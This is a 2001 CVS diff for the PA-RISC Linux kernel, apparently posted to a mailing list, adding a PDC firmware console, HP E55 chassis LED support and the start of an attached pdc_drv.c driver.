cvs server: Diffing Documentation/usb
cvs server: Diffing Documentation/video4linux
cvs server: Diffing Documentation/video4linux/bttv
cvs server: Diffing Documentation/vm
cvs server: Diffing arch
cvs server: Diffing arch/alpha
cvs server: Diffing arch/alpha/boot
cvs server: Diffing arch/alpha/boot/tools
cvs server: Diffing arch/alpha/kernel
cvs server: Diffing arch/alpha/lib
cvs server: Diffing arch/alpha/math-emu
cvs server: Diffing arch/alpha/mm
cvs server: Diffing arch/arm
cvs server: Diffing arch/arm/boot
cvs server: Diffing arch/arm/boot/bootp
cvs server: Diffing arch/arm/boot/compressed
cvs server: Diffing arch/arm/def-configs
cvs server: Diffing arch/arm/kernel
cvs server: Diffing arch/arm/lib
cvs server: Diffing arch/arm/mach-anakin
cvs server: Diffing arch/arm/mach-ebsa110
cvs server: Diffing arch/arm/mach-footbridge
cvs server: Diffing arch/arm/mach-integrator
cvs server: Diffing arch/arm/mach-sa1100
cvs server: Diffing arch/arm/mach-shark
cvs server: Diffing arch/arm/mm
cvs server: Diffing arch/arm/nwfpe
cvs server: Diffing arch/arm/tools
cvs server: Diffing arch/cris
cvs server: Diffing arch/cris/boot
cvs server: Diffing arch/cris/boot/compressed
cvs server: Diffing arch/cris/boot/rescue
cvs server: Diffing arch/cris/boot/tools
cvs server: Diffing arch/cris/drivers
cvs server: Diffing arch/cris/drivers/examples
cvs server: Diffing arch/cris/drivers/lpslave
cvs server: Diffing arch/cris/kernel
cvs server: Diffing arch/cris/lib
cvs server: Diffing arch/cris/mm
cvs server: Diffing arch/i386
cvs server: Diffing arch/i386/boot
cvs server: Diffing arch/i386/boot/compressed
cvs server: Diffing arch/i386/boot/tools
cvs server: Diffing arch/i386/kernel
cvs server: Diffing arch/i386/lib
cvs server: Diffing arch/i386/math-emu
cvs server: Diffing arch/i386/mm
cvs server: Diffing arch/ia64
cvs server: Diffing arch/ia64/boot
cvs server: Diffing arch/ia64/dig
cvs server: Diffing arch/ia64/hp
cvs server: Diffing arch/ia64/ia32
cvs server: Diffing arch/ia64/kdb
cvs server: Diffing arch/ia64/kernel
cvs server: Diffing arch/ia64/lib
cvs server: Diffing arch/ia64/mm
cvs server: Diffing arch/ia64/sn
cvs server: Diffing arch/ia64/sn/fprom
cvs server: Diffing arch/ia64/sn/io
cvs server: Diffing arch/ia64/sn/sn1
cvs server: Diffing arch/ia64/sn/tools
cvs server: Diffing arch/ia64/tools
cvs server: Diffing arch/m68k
cvs server: Diffing arch/m68k/amiga
cvs server: Diffing arch/m68k/apollo
cvs server: Diffing arch/m68k/atari
cvs server: Diffing arch/m68k/bvme6000
cvs server: Diffing arch/m68k/fpsp040
cvs server: Diffing arch/m68k/hp300
cvs server: Diffing arch/m68k/ifpsp060
cvs server: Diffing arch/m68k/ifpsp060/src
cvs server: Diffing arch/m68k/kernel
cvs server: Diffing arch/m68k/lib
cvs server: Diffing arch/m68k/mac
cvs server: Diffing arch/m68k/math-emu
cvs server: Diffing arch/m68k/mm
cvs server: Diffing arch/m68k/mvme147
cvs server: Diffing arch/m68k/mvme16x
cvs server: Diffing arch/m68k/q40
cvs server: Diffing arch/m68k/sun3
cvs server: Diffing arch/m68k/sun3/prom
cvs server: Diffing arch/m68k/sun3x
cvs server: Diffing arch/m68k/tools
cvs server: Diffing arch/m68k/tools/amiga
cvs server: Diffing arch/mips
cvs server: Diffing arch/mips/algor
cvs server: Diffing arch/mips/arc
cvs server: Diffing arch/mips/baget
cvs server: Diffing arch/mips/baget/prom
cvs server: Diffing arch/mips/boot
cvs server: Diffing arch/mips/cobalt
cvs server: Diffing arch/mips/ddb5074
cvs server: Diffing arch/mips/ddb5476
cvs server: Diffing arch/mips/dec
cvs server: Diffing arch/mips/dec/boot
cvs server: Diffing arch/mips/dec/prom
cvs server: Diffing arch/mips/ite-boards
cvs server: Diffing arch/mips/ite-boards/generic
cvs server: Diffing arch/mips/ite-boards/qed-4n-s01b
cvs server: Diffing arch/mips/jazz
cvs server: Diffing arch/mips/kernel
cvs server: Diffing arch/mips/lib
cvs server: Diffing arch/mips/math-emu
cvs server: Diffing arch/mips/mips-boards
cvs server: Diffing arch/mips/mips-boards/atlas
cvs server: Diffing arch/mips/mips-boards/generic
cvs server: Diffing arch/mips/mips-boards/malta
cvs server: Diffing arch/mips/mm
cvs server: Diffing arch/mips/orion
cvs server: Diffing arch/mips/sgi
cvs server: Diffing arch/mips/sgi/kernel
cvs server: Diffing arch/mips/sni
cvs server: Diffing arch/mips/tools
cvs server: Diffing arch/mips64
cvs server: Diffing arch/mips64/arc
cvs server: Diffing arch/mips64/boot
cvs server: Diffing arch/mips64/kernel
cvs server: Diffing arch/mips64/lib
cvs server: Diffing arch/mips64/math-emu
cvs server: Diffing arch/mips64/mm
cvs server: Diffing arch/mips64/sgi-ip22
cvs server: Diffing arch/mips64/sgi-ip27
cvs server: Diffing arch/mips64/tools
cvs server: Diffing arch/parisc
cvs server: Diffing arch/parisc/boot
cvs server: Diffing arch/parisc/boot/boot_code
cvs server: Diffing arch/parisc/debian-configs
cvs server: Diffing arch/parisc/hpux
cvs server: Diffing arch/parisc/kernel
Index: arch/parisc/kernel/firmware.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/firmware.c,v
retrieving revision 1.36
diff -u -r1.36 firmware.c
--- arch/parisc/kernel/firmware.c	2001/11/13 23:25:45	1.36
+++ arch/parisc/kernel/firmware.c	2001/11/19 22:17:48
@@ -136,6 +136,15 @@
 }
 
 /**
+ * pdc_chassis_disp, used for E-series (for example E55)
+ */
+
+int pdc_chassis_disp(unsigned long disp)
+{
+        return mem_pdc_call(PDC_CHASSIS, PDC_CHASSIS_DISP, disp);
+}
+
+/**
  * pdc_chassis_info - Return chassis information.
  * @result: The return buffer.
  * @chassis_info: The memory buffer address.
@@ -681,6 +690,59 @@
                     PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers),
                     __pa(iodc_retbuf), 0, __pa(iodc_dbuf), n, 0);
         spin_unlock_irqrestore(&pdc_lock, flags);
+}
+
+/* write character directly without convertings */
+
+void pdc_iodc_outc(unsigned char c)
+{
+	/* fill buffer with one caracter and print it */
+        static int __attribute__((aligned(8)))   iodc_retbuf[32];
+        static char __attribute__((aligned(64))) iodc_dbuf[4096];
+	unsigned int n;
+
+	iodc_dbuf[0] = c;
+	n = 1;
+	{
+		real32_call(PAGE0->mem_cons.iodc_io,
+			(unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
+			PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers),
+			__pa(iodc_retbuf), 0, __pa(iodc_dbuf), n, 0);
+	}
+}
+
+/* read NON-BLOCKING a character from the PDC console,
+   returns -1, if no key is present */
+
+int pdc_iodc_getc(void)
+{
+        static int __attribute__((aligned(8)))   iodc_retbuf[32];
+        static char __attribute__((aligned(64))) iodc_dbuf[4096];
+	int ch;
+	int status;
+
+	/* Bail if no console input device. */
+	if (!PAGE0->mem_kbd.iodc_io)
+		return 0;
+	
+	/* wait for a keyboard (rs232)-input */
+	do {
+		unsigned long flags;
+
+		save_flags(flags);
+		cli();
+		status = real32_call(PAGE0->mem_kbd.iodc_io,
+			(unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
+			PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers),
+			__pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
+		restore_flags(flags);
+		ch = *iodc_dbuf;	/* save the character directly to ch */
+	} while (0) ;                   /* once !! */
+
+	if (*iodc_retbuf == 0)	        /* no key */
+	    ch = -1;
+	
+	return ch;
 }
 
 int pdc_sti_call(unsigned long func, unsigned long flags,
Index: arch/parisc/kernel/led.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/led.c,v
retrieving revision 1.24
diff -u -r1.24 led.c
--- arch/parisc/kernel/led.c	2001/10/22 15:45:36	1.24
+++ arch/parisc/kernel/led.c	2001/11/19 22:17:49
@@ -51,6 +51,30 @@
 static int led_lanrxtx = 1;
 static char lcd_text[32] = {0};
 
+/*****
+ * stuff for E55 and similar server with RUN/ATTENTION LED
+ */
+
+#define LED_CHASSIS_OFF            0
+#define LED_CHASSIS_FAULT          1
+#define LED_CHASSIS_TEST           2
+#define LED_CHASSIS_INIT           3
+#define LED_CHASSIS_SHUTDOWN       4
+#define LED_CHASSIS_WARNING        5
+#define LED_CHASSIS_RUN            6
+#define LED_CHASSIS_ALL_ON         7
+
+#define LED_CHASSIS_BYTE(v) ((unsigned long)((v) << 1))
+#define LED_CHASSIS_DISP_DATA(v) ((unsigned long)(LED_CHASSIS_BYTE(v) << 16))
+extern int pdc_chassis_disp (unsigned long);
+extern int pdc_model_sysmodel (char *);
+static int use_chassis_call = 0;
+static int chassis_run_mode = 0;
+
+void led_chassis_run (void);
+void led_chassis_attention (void);
+void led_chassis_init (void);
+
 #if 0
 #define DPRINTK(x)	printk x
 #else
@@ -450,13 +474,24 @@
 
 	if (led_heartbeat)
 	{
+		/* for server with RUN led, switch it on, heartbeat is active,
+		   led_chassis_run() checks itself, if a machine of this
+		   type is used */
+		led_chassis_run ();
+		
 		/* flash heartbeat-LED like a real heart (2 x short then a long delay) */
 		if (count_HZ<HEARTBEAT_LEN || 
 		    (count_HZ>=HEARTBEAT_2ND_RANGE_START && count_HZ<HEARTBEAT_2ND_RANGE_END)) 
 		    currentleds |= LED_HEARTBEAT;
 		else
 		    currentleds &= ~LED_HEARTBEAT;
+	} else {
+		/* if no heartbeat, also let light ATTENTION on some
+		   machine. led_chassis_attention() will check itself,
+		   if a machine of this type is used */
+		led_chassis_attention();
 	}
+	
 
 	/* gather network and diskio statistics and flash LEDs respectively */
 
@@ -541,7 +576,10 @@
 	else
 		if (led_func_ptr)
 			led_func_ptr(0xff); /* turn all LEDs ON */
-	
+	/* call led_chassis_attention(), routine cheks itself, if
+	   this display type is valid */
+	led_chassis_attention();
+
 	unregister_reboot_notifier(&led_notifier);
 	return NOTIFY_OK;
 }
@@ -673,6 +711,54 @@
 	return lcd_info.lcd_width;
 }
 
+
+/*
+   ** HP E55 (and similar) stuff
+   **
+   ** These series has only static LED
+   **
+   ** At the moment only two will be supported
+   **    RUN
+   **    ATTENTION
+   **
+   ** These to LEDs are used disjunct
+*/
+
+void led_chassis_run (void)
+{
+	if (use_chassis_call && !chassis_run_mode) {
+		pdc_chassis_disp (LED_CHASSIS_DISP_DATA(LED_CHASSIS_RUN));
+		chassis_run_mode = 1;
+	}
+}
+
+void led_chassis_attention (void)
+{
+	if (use_chassis_call && chassis_run_mode) {
+		pdc_chassis_disp (LED_CHASSIS_DISP_DATA(LED_CHASSIS_INIT));
+		chassis_run_mode = 0;
+	}
+}
+
+void led_chassis_init (void)
+{
+#define MODBUF_LEN 32
+	char buf [MODBUF_LEN];  /* small enough to lay on stack */
+	
+	if (pdc_model_sysmodel (buf) < 0) {
+		printk (KERN_NOTICE "%s: error reading sys model\n", 
+			__FUNCTION__);
+		return;
+	}
+	
+	if (strncmp (buf, "9000/856", MODBUF_LEN) == 0)
+		use_chassis_call = 1;
+
+	/* XXX CP: Add other models ! */
+
+	chassis_run_mode = 0;
+}
+
 /*
    ** led_init()
    ** 
@@ -703,6 +789,8 @@
 	}
 
 	/* initialize the struct, so that we can check for valid return values */
+	led_chassis_init();
+
 	lcd_info.model = DISPLAY_MODEL_NONE;
 	chassis_info.actcnt = chassis_info.maxcnt = 0;
 
Index: arch/parisc/kernel/pdc_cons.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/pdc_cons.c,v
retrieving revision 1.29
diff -u -r1.29 pdc_cons.c
--- arch/parisc/kernel/pdc_cons.c	2001/11/13 23:35:01	1.29
+++ arch/parisc/kernel/pdc_cons.c	2001/11/19 22:17:49
@@ -12,9 +12,19 @@
 
 /* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems. 
  * On production kernels EARLY_BOOTUP_DEBUG should be undefined. */
-#undef EARLY_BOOTUP_DEBUG
 
+/* #undef EARLY_BOOTUP_DEBUG */
 
+/* CP 
+   activate PDC console in any case for testing the ttyB0
+
+   TODO: This must be activated if a "CONFIG_PDC_CONSOLE" is
+   configured (necessary), otherwise the EARLY_BOOTUP_DEBUG should
+   be undefined !
+*/
+#define EARLY_BOOTUP_DEBUG
+
+
 #include <linux/config.h>
 #include <linux/kernel.h>
 #include <linux/console.h>
@@ -35,16 +45,32 @@
 		pdc_iodc_putc(*s++);
 }
 
+void pdc_outc(unsigned char c)
+{
+	pdc_iodc_outc(c);
+}
+
+
+int pdc_console_poll_key(struct console *co)
+{
+	return pdc_iodc_getc();
+}
+
 static int pdc_console_setup(struct console *co, char *options)
 {
 	return 0;
 }
 
+static kdev_t pdc_console_device (struct console *c)
+{
+        return MKDEV(PDCCONS_MAJOR, 0);
+}
+
 static struct console pdc_cons = {
 	name:		"ttyB",
 	write:		pdc_console_write,
 	read:		NULL,
-	device:		NULL, 
+	device:		pdc_console_device, 
 	wait_key:	NULL,
 	unblank:	NULL,
 	setup:		pdc_console_setup,
cvs server: Diffing arch/parisc/lib
cvs server: Diffing arch/parisc/math-emu
cvs server: Diffing arch/parisc/mm
cvs server: Diffing arch/parisc/real
cvs server: Diffing arch/parisc/tools
cvs server: Diffing arch/parisc64
cvs server: Diffing arch/parisc64/hpux
cvs server: Diffing arch/parisc64/kernel
cvs server: Diffing arch/parisc64/lib
cvs server: Diffing arch/parisc64/mm
cvs server: Diffing arch/parisc64/real
cvs server: Diffing arch/parisc64/tools
cvs server: Diffing arch/ppc
cvs server: Diffing arch/ppc/8260_io
cvs server: Diffing arch/ppc/8xx_io
cvs server: Diffing arch/ppc/amiga
cvs server: Diffing arch/ppc/boot
cvs server: Diffing arch/ppc/boot/chrp
cvs server: Diffing arch/ppc/boot/common
cvs server: Diffing arch/ppc/boot/images
cvs server: Diffing arch/ppc/boot/include
cvs server: Diffing arch/ppc/boot/lib
cvs server: Diffing arch/ppc/boot/mbx
cvs server: Diffing arch/ppc/boot/pmac
cvs server: Diffing arch/ppc/boot/prep
cvs server: Diffing arch/ppc/boot/tree
cvs server: Diffing arch/ppc/boot/utils
cvs server: Diffing arch/ppc/chrpboot
cvs server: Diffing arch/ppc/coffboot
cvs server: Diffing arch/ppc/configs
cvs server: Diffing arch/ppc/kernel
cvs server: Diffing arch/ppc/lib
cvs server: Diffing arch/ppc/math-emu
cvs server: Diffing arch/ppc/mbxboot
cvs server: Diffing arch/ppc/mm
cvs server: Diffing arch/ppc/treeboot
cvs server: Diffing arch/ppc/xmon
cvs server: Diffing arch/s390
cvs server: Diffing arch/s390/boot
cvs server: Diffing arch/s390/kernel
cvs server: Diffing arch/s390/lib
cvs server: Diffing arch/s390/math-emu
cvs server: Diffing arch/s390/mm
cvs server: Diffing arch/s390/tools
cvs server: Diffing arch/s390/tools/dasdfmt
cvs server: Diffing arch/s390/tools/silo
cvs server: Diffing arch/s390x
cvs server: Diffing arch/s390x/boot
cvs server: Diffing arch/s390x/kernel
cvs server: Diffing arch/s390x/lib
cvs server: Diffing arch/s390x/mm
cvs server: Diffing arch/s390x/tools
cvs server: Diffing arch/s390x/tools/dasdfmt
cvs server: Diffing arch/s390x/tools/silo
cvs server: Diffing arch/sh
cvs server: Diffing arch/sh/boot
cvs server: Diffing arch/sh/boot/compressed
cvs server: Diffing arch/sh/kernel
cvs server: Diffing arch/sh/lib
cvs server: Diffing arch/sh/mm
cvs server: Diffing arch/sh/stboards
cvs server: Diffing arch/sparc
cvs server: Diffing arch/sparc/ap1000
cvs server: Diffing arch/sparc/boot
cvs server: Diffing arch/sparc/kernel
cvs server: Diffing arch/sparc/lib
cvs server: Diffing arch/sparc/math-emu
cvs server: Diffing arch/sparc/mm
cvs server: Diffing arch/sparc/prom
cvs server: Diffing arch/sparc64
cvs server: Diffing arch/sparc64/boot
cvs server: Diffing arch/sparc64/kernel
cvs server: Diffing arch/sparc64/lib
cvs server: Diffing arch/sparc64/math-emu
cvs server: Diffing arch/sparc64/mm
cvs server: Diffing arch/sparc64/prom
cvs server: Diffing arch/sparc64/solaris
cvs server: Diffing drivers
cvs server: Diffing drivers/acorn
cvs server: Diffing drivers/acorn/block
cvs server: Diffing drivers/acorn/char
cvs server: Diffing drivers/acorn/net
cvs server: Diffing drivers/acorn/scsi
cvs server: Diffing drivers/acpi
cvs server: Diffing drivers/acpi/common
cvs server: Diffing drivers/acpi/debugger
cvs server: Diffing drivers/acpi/dispatcher
cvs server: Diffing drivers/acpi/events
cvs server: Diffing drivers/acpi/executer
cvs server: Diffing drivers/acpi/hardware
cvs server: Diffing drivers/acpi/include
cvs server: Diffing drivers/acpi/include/platform
cvs server: Diffing drivers/acpi/interpreter
cvs server: Diffing drivers/acpi/namespace
cvs server: Diffing drivers/acpi/ospm
cvs server: Diffing drivers/acpi/ospm/ac_adapter
cvs server: Diffing drivers/acpi/ospm/battery
cvs server: Diffing drivers/acpi/ospm/busmgr
cvs server: Diffing drivers/acpi/ospm/button
cvs server: Diffing drivers/acpi/ospm/ec
cvs server: Diffing drivers/acpi/ospm/include
cvs server: Diffing drivers/acpi/ospm/processor
cvs server: Diffing drivers/acpi/ospm/system
cvs server: Diffing drivers/acpi/ospm/thermal
cvs server: Diffing drivers/acpi/parser
cvs server: Diffing drivers/acpi/resources
cvs server: Diffing drivers/acpi/tables
cvs server: Diffing drivers/acpi/utilities
cvs server: Diffing drivers/ap1000
cvs server: Diffing drivers/atm
cvs server: Diffing drivers/block
cvs server: Diffing drivers/block/paride
cvs server: Diffing drivers/bluetooth
cvs server: Diffing drivers/cdrom
cvs server: Diffing drivers/char
Index: drivers/char/Makefile
===================================================================
RCS file: /var/cvs/linux/drivers/char/Makefile,v
retrieving revision 1.23
diff -u -r1.23 Makefile
--- drivers/char/Makefile	2001/11/09 23:35:36	1.23
+++ drivers/char/Makefile	2001/11/19 22:17:51
@@ -64,6 +64,10 @@
 endif
 
 ifeq ($(ARCH),parisc)
+   # XXX CP: Added for all PA-RISC architecture, 
+   #         should be made configurable ...
+   obj-y += pdc_drv.o
+
    ifdef CONFIG_GSC_PS2
      KEYBD   = hp_psaux.o hp_keyb.o
    else
cvs server: Diffing drivers/char/agp
cvs server: Diffing drivers/char/drm
cvs server: Diffing drivers/char/ftape
cvs server: Diffing drivers/char/ftape/compressor
cvs server: Diffing drivers/char/ftape/lowlevel
cvs server: Diffing drivers/char/ftape/zftape
cvs server: Diffing drivers/char/ip2
cvs server: Diffing drivers/char/joystick
cvs server: Diffing drivers/char/pcmcia
cvs server: Diffing drivers/char/rio
cvs server: Diffing drivers/dio
cvs server: Diffing drivers/fc4
cvs server: Diffing drivers/gsc
cvs server: Diffing drivers/i2c
cvs server: Diffing drivers/i2o
cvs server: Diffing drivers/ide
cvs server: Diffing drivers/ieee1394
cvs server: Diffing drivers/input
cvs server: Diffing drivers/isdn
cvs server: Diffing drivers/isdn/act2000
cvs server: Diffing drivers/isdn/avmb1
cvs server: Diffing drivers/isdn/divert
cvs server: Diffing drivers/isdn/eicon
cvs server: Diffing drivers/isdn/hisax
cvs server: Diffing drivers/isdn/hysdn
cvs server: Diffing drivers/isdn/icn
cvs server: Diffing drivers/isdn/isdnloop
cvs server: Diffing drivers/isdn/pcbit
cvs server: Diffing drivers/isdn/sc
cvs server: Diffing drivers/isdn/tpam
cvs server: Diffing drivers/macintosh
cvs server: Diffing drivers/md
cvs server: Diffing drivers/media
cvs server: Diffing drivers/media/radio
cvs server: Diffing drivers/media/video
cvs server: Diffing drivers/message
cvs server: Diffing drivers/message/fusion
cvs server: Diffing drivers/message/fusion/lsi
cvs server: Diffing drivers/misc
cvs server: Diffing drivers/mtd
cvs server: Diffing drivers/mtd/chips
cvs server: Diffing drivers/mtd/devices
cvs server: Diffing drivers/mtd/maps
cvs server: Diffing drivers/mtd/nand
cvs server: Diffing drivers/net
cvs server: Diffing drivers/net/appletalk
cvs server: Diffing drivers/net/arcnet
cvs server: Diffing drivers/net/fc
cvs server: Diffing drivers/net/hamradio
cvs server: Diffing drivers/net/hamradio/soundmodem
cvs server: Diffing drivers/net/irda
cvs server: Diffing drivers/net/pcmcia
cvs server: Diffing drivers/net/sk98lin
cvs server: Diffing drivers/net/sk98lin/h
cvs server: Diffing drivers/net/skfp
cvs server: Diffing drivers/net/skfp/h
cvs server: Diffing drivers/net/tokenring
cvs server: Diffing drivers/net/tulip
cvs server: Diffing drivers/net/wan
cvs server: Diffing drivers/net/wan/lmc
cvs server: Diffing drivers/net/wireless
cvs server: Diffing drivers/nubus
cvs server: Diffing drivers/parport
cvs server: Diffing drivers/pci
cvs server: Diffing drivers/pcmcia
cvs server: Diffing drivers/pnp
cvs server: Diffing drivers/s390
cvs server: Diffing drivers/s390/block
cvs server: Diffing drivers/s390/char
cvs server: Diffing drivers/s390/misc
cvs server: Diffing drivers/s390/net
cvs server: Diffing drivers/sbus
cvs server: Diffing drivers/sbus/audio
cvs server: Diffing drivers/sbus/char
cvs server: Diffing drivers/scsi
cvs server: Diffing drivers/scsi/aic7xxx
cvs server: Diffing drivers/scsi/aic7xxx/aicasm
cvs server: Diffing drivers/scsi/aic7xxx_old
cvs server: Diffing drivers/scsi/pcmcia
cvs server: Diffing drivers/sgi
cvs server: Diffing drivers/sgi/char
cvs server: Diffing drivers/sound
cvs server: Diffing drivers/sound/cs4281
cvs server: Diffing drivers/sound/dmasound
cvs server: Diffing drivers/sound/emu10k1
cvs server: Diffing drivers/sound/lowlevel
cvs server: Diffing drivers/tc
cvs server: Diffing drivers/telephony
cvs server: Diffing drivers/usb
cvs server: Diffing drivers/usb/maps
cvs server: Diffing drivers/usb/serial
cvs server: Diffing drivers/usb/storage
cvs server: Diffing drivers/video
cvs server: Diffing drivers/video/aty
cvs server: Diffing drivers/video/matrox
cvs server: Diffing drivers/video/riva
cvs server: Diffing drivers/video/sis
cvs server: Diffing drivers/video/sti
cvs server: Diffing drivers/zorro
cvs server: Diffing fs
cvs server: Diffing fs/adfs
cvs server: Diffing fs/affs
cvs server: Diffing fs/autofs
cvs server: Diffing fs/autofs4
cvs server: Diffing fs/bfs
cvs server: Diffing fs/coda
cvs server: Diffing fs/cramfs
cvs server: Diffing fs/cramfs/inflate
cvs server: Diffing fs/devfs
cvs server: Diffing fs/devpts
cvs server: Diffing fs/efs
cvs server: Diffing fs/ext2
cvs server: Diffing fs/fat
cvs server: Diffing fs/freevxfs
cvs server: Diffing fs/hfs
cvs server: Diffing fs/hpfs
cvs server: Diffing fs/isofs
cvs server: Diffing fs/jffs
cvs server: Diffing fs/lockd
cvs server: Diffing fs/minix
cvs server: Diffing fs/msdos
cvs server: Diffing fs/ncpfs
cvs server: Diffing fs/nfs
cvs server: Diffing fs/nfsd
cvs server: Diffing fs/nls
cvs server: Diffing fs/ntfs
cvs server: Diffing fs/openpromfs
cvs server: Diffing fs/partitions
cvs server: Diffing fs/proc
cvs server: Diffing fs/qnx4
cvs server: Diffing fs/ramfs
cvs server: Diffing fs/reiserfs
cvs server: Diffing fs/romfs
cvs server: Diffing fs/smbfs
cvs server: Diffing fs/sysv
cvs server: Diffing fs/udf
cvs server: Diffing fs/ufs
cvs server: Diffing fs/umsdos
cvs server: Diffing fs/vfat
cvs server: Diffing include
cvs server: Diffing include/asm-alpha
cvs server: Diffing include/asm-arm
cvs server: Diffing include/asm-arm/arch-a5k
cvs server: Diffing include/asm-arm/arch-anakin
cvs server: Diffing include/asm-arm/arch-arc
cvs server: Diffing include/asm-arm/arch-cl7500
cvs server: Diffing include/asm-arm/arch-ebsa110
cvs server: Diffing include/asm-arm/arch-ebsa285
cvs server: Diffing include/asm-arm/arch-integrator
cvs server: Diffing include/asm-arm/arch-l7200
cvs server: Diffing include/asm-arm/arch-nexuspci
cvs server: Diffing include/asm-arm/arch-rpc
cvs server: Diffing include/asm-arm/arch-sa1100
cvs server: Diffing include/asm-arm/arch-shark
cvs server: Diffing include/asm-arm/arch-tbox
cvs server: Diffing include/asm-arm/hardware
cvs server: Diffing include/asm-arm/mach
cvs server: Diffing include/asm-arm/proc-armo
cvs server: Diffing include/asm-arm/proc-armv
cvs server: Diffing include/asm-cris
cvs server: Diffing include/asm-generic
cvs server: Diffing include/asm-i386
cvs server: Diffing include/asm-ia64
cvs server: Diffing include/asm-ia64/sn
cvs server: Diffing include/asm-ia64/sn/arc
cvs server: Diffing include/asm-ia64/sn/ksys
cvs server: Diffing include/asm-ia64/sn/pci
cvs server: Diffing include/asm-ia64/sn/sn1
cvs server: Diffing include/asm-ia64/sn/xtalk
cvs server: Diffing include/asm-m68k
cvs server: Diffing include/asm-mips
cvs server: Diffing include/asm-mips/arc
cvs server: Diffing include/asm-mips/baget
cvs server: Diffing include/asm-mips/dec
cvs server: Diffing include/asm-mips/it8172
cvs server: Diffing include/asm-mips/pmc
cvs server: Diffing include/asm-mips/sgi
cvs server: Diffing include/asm-mips64
cvs server: Diffing include/asm-mips64/arc
cvs server: Diffing include/asm-mips64/gcc
cvs server: Diffing include/asm-mips64/pci
cvs server: Diffing include/asm-mips64/sgi
cvs server: Diffing include/asm-mips64/sn
cvs server: Diffing include/asm-mips64/sn/sn0
cvs server: Diffing include/asm-mips64/xtalk
cvs server: Diffing include/asm-parisc
Index: include/asm-parisc/pdc.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/pdc.h,v
retrieving revision 1.37
diff -u -r1.37 pdc.h
--- include/asm-parisc/pdc.h	2001/11/13 22:26:51	1.37
+++ include/asm-parisc/pdc.h	2001/11/19 22:18:13
@@ -816,7 +816,9 @@
 int pdc_do_reset(void);
 int pdc_soft_power_info(unsigned long *power_reg);
 void pdc_soft_power_shutdown(void);
+int pdc_iodc_getc(void);
 void pdc_iodc_putc(unsigned char c);
+void pdc_iodc_outc(unsigned char c);
 
 int pdc_sti_call(unsigned long func, unsigned long flags,
                  unsigned long inptr, unsigned long outputr,
cvs server: Diffing include/asm-parisc64
cvs server: Diffing include/asm-ppc
cvs server: Diffing include/asm-s390
cvs server: Diffing include/asm-s390x
cvs server: Diffing include/asm-sh
cvs server: Diffing include/asm-sparc
cvs server: Diffing include/asm-sparc/ap1000
cvs server: Diffing include/asm-sparc64
cvs server: Diffing include/linux
Index: include/linux/major.h
===================================================================
RCS file: /var/cvs/linux/include/linux/major.h,v
retrieving revision 1.10
diff -u -r1.10 major.h
--- include/linux/major.h	2001/11/09 23:37:14	1.10
+++ include/linux/major.h	2001/11/19 22:18:34
@@ -63,6 +63,7 @@
 #define ACSI_MAJOR	28
 #define AZTECH_CDROM_MAJOR 29
 #define GRAPHDEV_MAJOR	29	/* SparcLinux & Linux/68k /dev/fb */
+#define PDCCONS_MAJOR   30      /* CP: PDC console */
 #define SHMIQ_MAJOR	85	/* Linux/mips, SGI /dev/shmiq */
 #define CM206_CDROM_MAJOR 32
 #define IDE2_MAJOR	33
cvs server: Diffing include/linux/byteorder
cvs server: Diffing include/linux/isdn
cvs server: Diffing include/linux/lockd
cvs server: Diffing include/linux/mtd
cvs server: Diffing include/linux/netfilter_ipv4
cvs server: Diffing include/linux/netfilter_ipv6
cvs server: Diffing include/linux/nfsd
cvs server: Diffing include/linux/raid
cvs server: Diffing include/linux/sunrpc
cvs server: Diffing include/math-emu
cvs server: Diffing include/net
cvs server: Diffing include/net/bluetooth
cvs server: Diffing include/net/irda
cvs server: Diffing include/pcmcia
cvs server: Diffing include/scsi
cvs server: Diffing include/video
cvs server: Diffing init
cvs server: Diffing ipc
cvs server: Diffing kernel
cvs server: Diffing lib
cvs server: Diffing mm
cvs server: Diffing net
cvs server: Diffing net/802
cvs server: Diffing net/802/pseudo
cvs server: Diffing net/802/transit
cvs server: Diffing net/appletalk
cvs server: Diffing net/atm
cvs server: Diffing net/ax25
cvs server: Diffing net/bluetooth
cvs server: Diffing net/bridge
cvs server: Diffing net/core
cvs server: Diffing net/decnet
cvs server: Diffing net/econet
cvs server: Diffing net/ethernet
cvs server: Diffing net/ipv4
cvs server: Diffing net/ipv4/netfilter
cvs server: Diffing net/ipv6
cvs server: Diffing net/ipv6/netfilter
cvs server: Diffing net/ipx
cvs server: Diffing net/irda
cvs server: Diffing net/irda/compressors
cvs server: Diffing net/irda/ircomm
cvs server: Diffing net/irda/irlan
cvs server: Diffing net/irda/irnet
cvs server: Diffing net/khttpd
cvs server: Diffing net/lapb
cvs server: Diffing net/netlink
cvs server: Diffing net/netrom
cvs server: Diffing net/packet
cvs server: Diffing net/rose
cvs server: Diffing net/sched
cvs server: Diffing net/sunrpc
cvs server: Diffing net/unix
cvs server: Diffing net/wanrouter
cvs server: Diffing net/x25
cvs server: Diffing scripts
cvs server: Diffing scripts/cramfs
cvs server: Diffing scripts/ksymoops
cvs server: Diffing scripts/lxdialog
cvs server: Diffing scripts/usb

--------------F2284F98E058B5E182FDCE75
Content-Type: text/plain; charset=us-ascii;
 name="pdc_drv.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="pdc_drv.c"

/*
 *  linux/drivers/char/pdc_drv.c
 *
 *  2001, Christoph Plattner
 * 
 *  Driver template was linux's serial.c
 *
 */

static char *pdc_drv_version = "0.3";
static char *pdc_drv_revdate = "2001-11-17";
#define AUTHOR "christoph.plattner@gmx.at"
#include <linux/config.h>
#include <linux/version.h>

#undef PDC_DRV_DEBUG

#undef SERIAL_PARANOIA_CHECK
#define CONFIG_SERIAL_NOPAUSE_IO
#define SERIAL_DO_RESTART

#define PDC_POLL_DELAY (30 * HZ / 1000)

/*
 * End of serial driver configuration section.
 */

#include <linux/module.h>

#include <linux/types.h>
#ifdef LOCAL_HEADERS
#include "serial_local.h"
#else
#include <linux/serial.h>
#include <linux/serialP.h>
#include <linux/serial_reg.h>
#include <asm/serial.h>
